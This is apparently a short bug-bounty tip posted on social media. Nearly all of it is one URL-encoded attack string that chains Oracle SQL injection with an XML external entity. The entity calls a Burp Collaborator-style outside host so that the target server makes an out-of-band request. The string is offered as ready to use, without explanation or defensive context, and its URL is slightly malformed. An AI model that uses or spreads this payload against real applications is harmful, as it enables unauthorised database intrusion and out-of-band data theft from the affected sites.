SQL + XML + COLLABORATOR: '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+ <!ENTITY+%25+remote+SYSTEM+"httpp//burp/">+%25remote%3b]>'),'/l')+FROM+dual-- #BugBounty #bugbountytips #infosec #CyberSecurity https://t.co/jB1DESb9vE
Source by VIEH Group